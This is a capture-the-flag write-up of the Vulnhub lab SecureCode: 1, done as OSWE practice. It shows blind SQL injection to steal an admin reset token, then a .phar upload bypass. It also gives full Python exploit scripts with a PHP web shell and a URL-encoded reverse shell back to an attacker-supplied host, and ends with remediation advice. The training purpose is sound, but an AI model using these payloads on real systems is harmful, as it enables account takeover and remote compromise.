OSWE Prep – SecureCode: 1

Vulnhub started hosting a machine named SecureCode: 1 on February 23rd, 2021. This machine was created by the user sud0root with a description of “OSWE-like machine”. Overall the machine was simple, but it did provide some good practice reviewing code and writing a proof of concept exploit script.

Reconnaissance

To begin, I executed a Nmap scan to check for open ports. The scan ran all scripts, checked for versions, output all formats, and targeted all TCP ports. This resulted in just one open port hosting a web app.

kali@kali:~/oswe/securecode1$ nmap -sC -sV -oA AllTCP -p- securecode1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-23 20:45 EDT
Nmap scan report for securecode1
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/login/*
|_http-title: Coming Soon 2
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.46 seconds

Next, I scanned for directories using the “raft-large-directories.txt” in secLists. Some of these files contained weak permissions allowing me to view the folder structure, but this didn’t help in identifying any vulnerabilities that lead to forward exploitation. This enumeration did lead to a login page we can take a look at though.

kali@kali:~/oswe/securecode1$ gobuster dir -u http://securecode1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt                                                                                                                            
===============================================================                                                                        
Gobuster v3.1.0                                                                                                                        
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                          
===============================================================                                                                        
[+] Url:                     http://securecode1                                                                                        
[+] Method:                  GET                                                                                                       
[+] Threads:                 10                                                                                                        
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt                            
[+] Negative Status codes:   404                                                                                                       
[+] User Agent:              gobuster/3.1.0                                                                                            
[+] Timeout:                 10s                                                                                                       
===============================================================                                                                        
2022/05/23 20:46:33 Starting gobuster in directory enumeration mode                                                                    
===============================================================                                                                        
/login                (Status: 301) [Size: 310] [--> http://securecode1/login/]                                                        
/include              (Status: 301) [Size: 312] [--> http://securecode1/include/]                                                      
/users                (Status: 301) [Size: 310] [--> http://securecode1/users/]                                                        
/profile              (Status: 301) [Size: 312] [--> http://securecode1/profile/]                                                      
/item                 (Status: 301) [Size: 309] [--> http://securecode1/item/]   
/asset                (Status: 301) [Size: 310] [--> http://securecode1/asset/]  
/server-status        (Status: 403) [Size: 276]                                   
Progress: 21532 / 62276 (34.58%)                                                [ERROR] 2022/05/23 20:46:36 [!] parse "http://10.0.11.1
41/error\x1f_log": net/url: invalid control character in URL
                                                                                  
===============================================================
2022/05/23 20:46:43 Finished
===============================================================

No interesting files discovered during gobuster scanning.

kali@kali:~/oswe/securecode1$ gobuster dir -u http://securecode1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://securecode1
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/05/23 20:46:59 Starting gobuster in directory enumeration mode 
===============================================================
/index.php            (Status: 200) [Size: 3650]
/.htaccess            (Status: 403) [Size: 276] 
/robots.txt           (Status: 200) [Size: 33]  
/.                    (Status: 200) [Size: 3650]
/.html                (Status: 403) [Size: 276] 
/.php                 (Status: 403) [Size: 276] 
/.htpasswd            (Status: 403) [Size: 276] 
/.htm                 (Status: 403) [Size: 276] 
/.htpasswds           (Status: 403) [Size: 276] 
/.htgroup             (Status: 403) [Size: 276] 
/wp-forum.phps        (Status: 403) [Size: 276] 
/.htaccess.bak        (Status: 403) [Size: 276] 
/.htuser              (Status: 403) [Size: 276] 
/.ht                  (Status: 403) [Size: 276] 
/.htc                 (Status: 403) [Size: 276] 
/.htaccess.old        (Status: 403) [Size: 276] 
/.htacess             (Status: 403) [Size: 276] 
Progress: 23137 / 37043 (62.46%)               [ERROR] 2022/05/23 20:47:03 [!] parse "http://securecode1/directory\t\te.g.": net/url: i
nvalid control character in URL
                                                 
===============================================================
2022/05/23 20:47:05 Finished
===============================================================

I then navigated to the “securecode1” homepage, which displayed a “COMING SOON” message. No other observed interaction was found on this page.

Main Secure Code 1 Page

On the login page, the user was presented with the typical login and forgot password options. I did proxy the requests and hit the fields with Burp Suite Intruder, but nothing unusual was returned from the web application.

Secure Code 1 Login Page

After getting stuck here for a while, I realized there was a “source_code.zip” that was intended to be used to do code review on the application.

Secure Code 1 Code Package

I began by reviewing how the web application was laid out and how customer data was being handled. Now that we know customer data is stored in a database we can search for any possible SQLi vulnerabilities that could help us get a foothold. For this, I started by searching for all instances of the word “SELECT”. This returned 76 results in 25 files.

“SELECT” String Search in Visual Studio Code

Each query was reviewed manually checking for mistakes or anomalies in the developer’s queries to the database.

Example SQL Query

After a bit of searching, I found a few red flags in the “viewItem.php” file. First, we have comments claiming “Still under development”. As an attacker, I love seeing this comment. Next, we see a follow-up comment explaining how authentication should work for this endpoint. Last, I saw an unsanitized parameter without a quotation being sent to the database. This looked like a perfect place to start SQLi testing.

I was able to get to this line of code without authentication. All this call needed was a GET to “viewItem.php” with the passed “ID” parameter.

Potentially Vulnerable SQL Query

I tested calling the “viewItem.php” endpoint with the value “1” as the “id”. This returned the expected HTTP 404 response showing that the SQL query was most likely happening.

Request to “viewItem.php” with “id” Parameter

Initial Foothold

Doing simple SQL queries, unfortunately, didn’t return any information to the caller, so it was time to build out some true/false queries to check for error response changes. For this, I provided a call that should return true. Let’s break it down. The original query called “SELECT * FROM item WHERE id =” we will fill this in with a 1 to indicate an existing user followed by a true statement. “1 AND 1 = 1”

True Statement Passed as ID

So for the true statement, we received an HTTP 404 response. I then tried a false statement by replacing the 1 with a 2.

False Statement Passed as ID

The false statement redirected the caller to the login page allowing me to possibly enumerate the contents of the database using the HTTP response codes.

The script excepted a target IP and port, then looped over the range from 1-100 for each character position. The “injectionQuery” brute-forced each character against the ASCII equivalent for an HTTP response not equal to “302”. Specifically for this query, we are enumerating the version of the database.

from ipaddress import ip_address
import sys
import requests
import re
import subprocess
import argparse

exfilData = []

def checkSqli(inj_str, ip, port):
    for values in range(32, 126):
        burp0_url = ("http://" + ip + ":" + port + "/item/viewItem.php?id=" + inj_str.replace("[CHAR]", str(values)))
        burp0_cookies = {"PHPSESSID": "l1hkg7o30au4rnqg90da82jhip"}
        burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False)
        if r.status_code != 302:
            return values
    return None

def main():
    parser = argparse.ArgumentParser(description='Collect target arguments.')
    parser.add_argument('--targetip', type=str, required=True, help='Enter target hostname or IP')
    parser.add_argument('--targetport', type=str, required=True, help='Enter target port number')
    args = parser.parse_args()
    for each in range(1, 100):
        injectionQuery = "1/**/AND/**/(ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23" % each
        try:
            exfilChar = chr(checkSqli(injectionQuery, args.targetip, args.targetport))
            sys.stdout.write(exfilChar)
            exfilData.append(exfilChar)
            sys.stdout.flush()
        except:
            print("\n[+] All Characters Found!")
            break
    print("\nData: "+(''.join(map(str, exfilData))))
    print("\n[+] Done!")
if __name__ == "__main__":
    main()

Next, I tested the script to enumerate the version number of the database. This confirmed the script should be able to exfiltrate data from the database.

Database Version Query

Looking back at the code, more specifically “db.sql”, I could see the user data was being stored in the user table.

Database SQL File

With this information, I began exfiltrating different table information such as database names, usernames, passwords, and password reset tokens.

Different Injection Payloads to Enumerate Data from the Database

While exfiltrating the password for the “admin” user, the value returned “unaccessable_until_you_change_me”. From here, I began looking into the password reset code for the web application.

Admin Password Query

On line 75 of the “send_email” function I seen the format for the token targeted the “doResetPassword.php” endpoint.

Link Format for “send_email” Function

To start the process, I started by resetting the password for the “admin” user.

Password Reset Submission

This GET request generated a token that should now be in the “user” table. I executed the secure1_PoC.py code with the following query: SELECT token FROM user WHERE id = 1

Password Reset Token

Next, I tested the password reset token with a successful response. “Valid Token Provided, you can change your password below.”

Password Reset Token Successful Response

The response included a form to enter the new password.

Password Reset Success

Last, I tested and logged in successfully with the changed password!

Login Success with New Password

After logging in, I was presented with the first flag.

Congrats, Flag1

Privilege Escalation

Now that I have authenticated to the application, I reviewed all the new code I could reach by searching for “isAuthenticated.php”.

Search Code for “isAuthenticated”

Looking at the “newitem.php” file we see an upload feature allowing the user to upload a picture to a new item.

“newitem.php” File Upload with BlockList and MIME Restrictions

Within the “updateitem.php” file I seen another upload feature to change an existing item. The difference here was that the MIME was not being checked. If we can get execution from a PHP filetype outside of the “blacklisted_exts” we should be good to go with remote code execution.

“updateItem.php” File Upload without MIME Restriction

The resource I primarily used for this testing was a site named hacktricks. The payload I used was a one line PHP script that allows the caller to supply system commands for execution.

Simple Backdoor Payload Upload

Many of the extensions I was able to upload to the application didn’t execute when navigating to them.

Stored “simple_backdoor.php7” File

There was some different behavior with a few of the PHP extensions such as “.pht”.

Upload “.pht” File

The payload for the “.pht” file was wrapped as a PHP comment preventing execution.

Commented PHP Code

Eventually I tested the “.phar” PHP extension. When navigating to the “.phar” file the page was blank, but looking at the source code didn’t get wrapped in comments.

Simple Backdoor Payload with “.phar” Extension

Next, I appended “?cmd=id” to check for remote code execution. This worked as expected.

Remote Code Execution

I started playing with different payloads to see what we could use to get a reverse shell from the target server. Netcat was not working for me, so I moved on to a PHP payload and sent it after URL encoding.

PHP Reverse Shell Encoded

The listener was started with “nc -lvnp 53” and the request was made. I immediately recieved the reverse shell!

Received Reverse Shell

Last, I grabbed the root flag for SecureCode1.

RCE Flag

Exploitation POC

Now that I had a solid path to remote code execution, a script should allow us to create a single click to exploitation. First, I planned the actions that needed to take place. This is usually how I split out my functions.

Exploitation Flow Chart

Execution Flow Description:

The main function begins on line 76 requesting the needed parameters from the user. First, the passwordReset function is called which simply performs an HTTP request to the “resetPassword.php” endpoint containing the target user within the body of the request.

Next, the SQLi function requests the token string from the database. This value is passed to the changePassword function on line 18. The token value and new password are povided within the body of the HTTP request.

From here I tested the admin login with the new password and uploaded the PHP command execution payload as an update to an existing item.

Last, the request sends the encoded PHP reverse shell containing the user supplied parameters.

from ipaddress import ip_address
import sys
import requests
import argparse

exfilData = []

def passwordReset(targetip, targetport):
    try:
        burp0_url = "http://" + targetip + ":" + targetport + "/login/resetPassword.php"
        burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/login/resetPassword.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        burp0_data = {"username": "admin"}
        requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    except:
        print("[ERROR] Password reset failed.")

def changePassword(targetip, targetport, token, password): 
    #Password reset request
    try:
        burp0_url = "http://" + targetip + ":" + targetport + "/login/doChangePassword.php"
        burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"}
        burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
        burp0_data = {"token": token, "password": password}
        response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 
        print("Password successfully reset to " + password)
        adminLogin(targetip, targetport, password)
        uploadBackdoor(targetip, targetport)

    except:
        print("[ERROR] Password reset failed.")

def adminLogin(targetip, targetport, password):
    try:
        burp0_url = "http://" + targetip + ":" + targetport + "/login/checkLogin.php"
        burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/login/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        burp0_data = {"username": "admin", "password": password}
        requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        print("Login success!")
    except:
        print("[ERROR] Admin user login failed.")

#need to replace the burp cookie with legit cookie
def uploadBackdoor(targetip, targetport):
    try:
        burp0_url = "http://" + targetip + ":" + targetport + "/item/updateItem.php"
        burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"}
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://securecode1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryOyeix4f7Vai9Oquf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://securecode1/item/editItem.php?id=1", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        burp0_data = "------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"id_user\"\r\n\r\n1\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nRaspery Pi 4\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"image\"; filename=\"simple_backdoor.phar\"\r\nContent-Type: text/html\r\n\r\n<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>\n\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nLatest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n92\r\n------WebKitFormBoundaryOyeix4f7Vai9Oquf--\r\n"
        requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        print("Payload uploaded successfully.")
    except:
        print("[ERROR] Payload upload failed.")

def reverseShell(targetip, targetport, ip, port):
    try:
        burp0_url = "http://" + targetip + ":" + targetport + "/item/image/simple_backdoor.phar?cmd=php%20-r%20%27%24sock%3dfsockopen%28%22" + ip + "%22%2c" + port + "%29%3bexec%28%22%2fbin%2fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3b%27"
        burp0_cookies = {"PHPSESSID": "g79jmok31s2ectdeqaiboivhbo"}
        burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        print("Reverse shell successfull.  Check your listener.")
        requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    except:
        print("[ERROR] Reverse shell failed.")

def checkSqli(inj_str, ip, port):
    for values in range(32, 126):
        burp0_url = ("http://" + ip + ":" + port + "/item/viewItem.php?id=" + inj_str.replace("[CHAR]", str(values)))
        burp0_cookies = {"PHPSESSID": "l1hkg7o30au4rnqg90da82jhip"}
        burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False)
        if r.status_code != 302:
            return values
    return None

def main():
    parser = argparse.ArgumentParser(description='Collect target arguments.')
    parser.add_argument('--targetip', type=str, required=True, help='Enter target hostname or IP')
    parser.add_argument('--targetport', type=str, required=True, help='Enter target port number')
    parser.add_argument('--attackerip', type=str, required=True, help='Enter attacker hostname or IP')
    parser.add_argument('--attackerport', type=str, required=True, help='Enter attacker port number')
    parser.add_argument('--password', type=str, required=True, help='Password string to set Admin user to')
    args = parser.parse_args()
    passwordReset(args.targetip, args.targetport)
    for each in range(1, 100):
        # Database Version Query
        #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23" % each
        # Calling user query
        #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/user()),%d,1)))=[CHAR]%%23" % each
        # Database name query
        #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/database()),%d,1)))=[CHAR]%%23" % each
        # Database username query
        #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/username/**/from/**/user/**/where/**/id/**/=/**/3),%d,1)))=[CHAR]%%23" % each
        # Database password query
        #injectionQuery = "1/**/AND/**/(ascii(substring((select/**/password/**/from/**/user/**/where/**/id/**/=/**/1),%d,2)))=[CHAR]%%23" % each
        # Database token query
        injectionQuery = "1/**/AND/**/(ascii(substring((select/**/token/**/from/**/user/**/where/**/id/**/=/**/1),%d,2)))=[CHAR]%%23" % each
        try:
            exfilChar = chr(checkSqli(injectionQuery, args.targetip, args.targetport))
            sys.stdout.write(exfilChar)
            exfilData.append(exfilChar)
            sys.stdout.flush()
        except:
            print("\n[+] All Characters Found!")
            break
    finalData = (''.join(map(str, exfilData)))
    print("\nData: "+ finalData)
    changePassword(args.targetip, args.targetport, finalData, args.password)
    reverseShell(args.targetip, args.targetport, args.attackerip, args.attackerport)
    
if __name__ == "__main__":
    main()

Execution Example:

Secure1_PoC.py Execution

Conclusion

Securecode1 was a pretty straight forward machine starting with pulling down the source code for review. This uncovered the first vulnerability which was a SQLi allowing database exfiltration. Grabbing the password reset token from the database allowed us to reset the admin user password.

The next vulnerability as discovered in the upload controls for items on the web application. The update item function allowed “.phar” PHP files to be uploaded and executed. This lead to a reverse shell using remote code execution.

The first vulnerability can easily be remediated by fixing the SQL query with quotations around the provided ID value. This prevents the user from breaking out of the query and using error based SQL injection to exfiltrate data from the database.

Remote code execution can be mitigated by staying consistant with the controls applied to the create item function within the application. Ensure the file contents are inspected by checking for MIME types. In addition, include the “.phar” extension in the blacklist for the application upload feature.

The Securecode1 aligns well with the OSWE content, and is a decend representation of vulnerablilties that could be encountered during the exam. Though nothing new was presented, it did help solidify some of the required skills for OSWE certification holders. I recommend going through this one and understanding why the vulnerabilities exist and how to remediate these findings from a developers perspective.

Until next time, stay safe in the Trenches of IT!